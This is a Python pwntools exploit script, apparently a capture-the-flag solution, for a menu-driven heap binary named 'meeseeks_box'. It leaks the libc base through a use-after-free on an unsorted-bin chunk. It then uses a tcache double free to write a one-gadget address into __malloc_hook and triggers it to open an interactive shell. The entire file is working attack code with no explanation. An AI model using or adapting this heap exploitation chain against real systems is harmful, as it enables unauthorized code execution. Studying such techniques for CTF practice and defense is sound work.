#!/usr/bin/python
# -*- coding: UTF-8 -*-
from pwn import *

context.arch = 'amd64'

p = process("./meeseeks_box")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
# libc = ELF("./libc.so.6")

# pause()

def Create(sz, data):
    p.sendlineafter(">", "1")
    p.sendlineafter(":", str(sz))
    p.sendlineafter(":", data)

def Show(idx):
    p.sendlineafter(">", "2")
    p.sendlineafter(":", str(idx))

def Delete(idx):
    p.sendlineafter(">", "3")
    p.sendlineafter(":", str(idx))

# unsorted bin
Create(0x900, 'aaaa')
Create(0x20, 'bbbb')
Delete(0)
Show(0)

libc_base = u64(p.recvline()[1:7].ljust(8, '\x00')) - 0x3ebca0
libc.address = libc_base
info("libc base: {}".format(hex(libc_base)))
magic = libc_base + 0x10a45c

# tcache dup
Create(0x20, 'cccc')
Delete(2)
Delete(2)
Create(0x20, p64(libc.sym.__malloc_hook))
Create(0x20, 'dddd')
Create(0x20, p64(magic))
pause()
# trigger __malloc_hook and pop the shell
p.sendlineafter(">", "1")
p.sendlineafter(":", "hack")

p.interactive()
p.close()